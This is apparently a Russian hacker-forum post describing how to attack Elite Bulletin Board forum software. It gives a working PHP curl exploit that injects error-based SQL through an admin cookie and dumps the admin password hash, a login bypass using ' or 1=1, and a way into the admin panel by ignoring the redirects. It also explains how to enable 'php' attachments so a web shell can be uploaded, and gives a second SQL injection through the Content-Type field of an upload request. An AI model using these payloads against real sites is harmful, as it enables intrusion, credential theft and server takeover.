[Обзор уязвимостей Elite Bulletin Board] Site: http://elite-board.us/Community/ Обход авторизации в Админ Панель + Blind SQL-Inj [Need: mq=off] Уязвимость позволяет зайти в админ панель,и произвольно изменять настройки форума. File: /acp/*.php PHP: if (($access_level == 2) or ($stat == "Member") or ($stat == "guest") or ($access_level == 3)){ header("Location: $board_address/index.php"); } ... if (isset($_COOKIE['ebbacpu']) and (isset($_COOKIE['ebbacpp']))){ #see if cookie value belongs to a user on the roster. $chk_user = user_check($_COOKIE['ebbacpu'], $_COOKIE['ebbacpp']); $admin_check = admin_verify($_COOKIE['ebbacpu'], $_COOKIE['ebbacpp']); if(($chk_user == 0) or ($admin_check == false)){ $error = "INVALID COOKIE OR SESSION!"; echo acp_error($error, "error"); } }else{ #go to login page. header("Location: acp_login.php"); } PHP: function user_check($user, $pass){ global $db, $txt; if ((empty($user)) and (empty($pass))){ die($txt['invalidprofile']); }else{ $db->run = "SELECT id FROM ebb_users WHERE Username='$user' and Password='$pass'"; $chk_user = $db->num_results(); $db->close(); } return ($chk_user); } Автор форума, забыл поставить Die(); после перенаправлений, что дает нам шанс выполнить SQL-inj и что-нибудь вытащить или обойти авторизацию и войти в админ-панель, и изменять там что хотим. Я приведу пример с выводом информации, через эту sql-inj, крутить будем как слепую. Простейший сплойт выглядит так: PHP: <?php $exploit = 'or+(select+*+from+(select+count(*)+from+(select+1+union+select+2+union+select+3)r+group+by+concat((select+concat_ws(0x3a,username,password)+from+ebb_users+where+id=1),floor(rand(0)*2)))u)--+'; $cookie = 'ebbacpu=1\''.$exploit.'+or+1=1+--+;ebbacpp=1'; echo curl('http://localhost/bugs/ebbv2/acp/',$cookie); function curl($url, $cookie = false) { $ch = curl_init(); // инициализируем Curl curl_setopt($ch, CURLOPT_URL, $url); // открываемая страница curl_setopt($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // вернуть ответ сервера в переменную, а не выводить // Работа через прокси if ($cookie) { curl_setopt($ch, CURLOPT_COOKIE, $cookie); } $page = curl_exec($ch); curl_close($ch); return ($page); } ?> Чуть выше сообщения об ошибке увидим: Code: Failed to query the database Duplicate entry '[B]admin:16303208725e5fcc2ae273ba3e7679ef[/B]1' for key 'group_key' Line: 29 File: D:\xampp\htdocs\bugs\ebbv2\includes\db.php Тут все осложняется тем, что чтобы сбрутить пароль админу, нужно знать соль, которая вшита в config.php в виде константы, которая принимает рандомное значение во время установки форума. Но брутить соль не обязательно, в админку можно зайти с помощью той же скули. Просто сменим тактику. (!) Можно и без скули, читаем ниже. PHP: $exploit = ' or 1=1--+'; [UPADATE] Совсем забыл откомментировать, что в админку так же можно попасть, просто не передавай кукисы. Придется обойти хидеры, принудительно их отключив в браузере или же скриптом. И после захода на страницы админки, мы будем видеть то же, что бы мы увидели при заходе админским акком. [/UPADATE] И уже строя разнообразные post-запросы, мы сможем получать-изменять данные из админки, как если бы мы просто зашли в нее по логин-паролю. Загрузка Шелла В амдинке идем в Setting Menu-> Attachment Setting Вбиваем расширение "php", надимаем Add extinsion. Создаем пост, и прикрепляем к нему наш файл. Файл будет в upload/shellname.php никаких htaccess'ов там нет. SQL-INJ [Need: account,mq=off] File: /upload.php PHP: $file_name = $_FILES['attachment']['name']; $file_type = $_FILES['attachment']['type']; $file_size = $_FILES['attachment']['size']; $file_temp = $_FILES['attachment']['tmp_name']; $file_ext = strtolower(substr(strrchr($file_name, "."), 1)); ... if(move_uploaded_file($file_temp, $uploadpath)) { #add attachment to db for listing purpose. $db->run = "insert into ebb_attachments (Username, Filename, File_Type, File_Size) values ('$logged_user', '$file_name', '$file_type', '$file_size')"; $db->query(); $db->close(); #go back to orginsl location. header ("Location: upload.php?bid=$bid"); Target: Крутим как слепую Code: Target: http://host/upload.php?mode=upload Content-Disposition: form-data; name="file"; filename=""\r\n Content-Type: application/octet-stream'or+(select+*+from+(select+count(*)+from+(select+1+union+select+2+union+select+3)r+group+by+concat((select+concat_ws(0x3a,username,password)+from+ebb_users+where+id=1),floor(rand(0)*2)))u)--+\r\n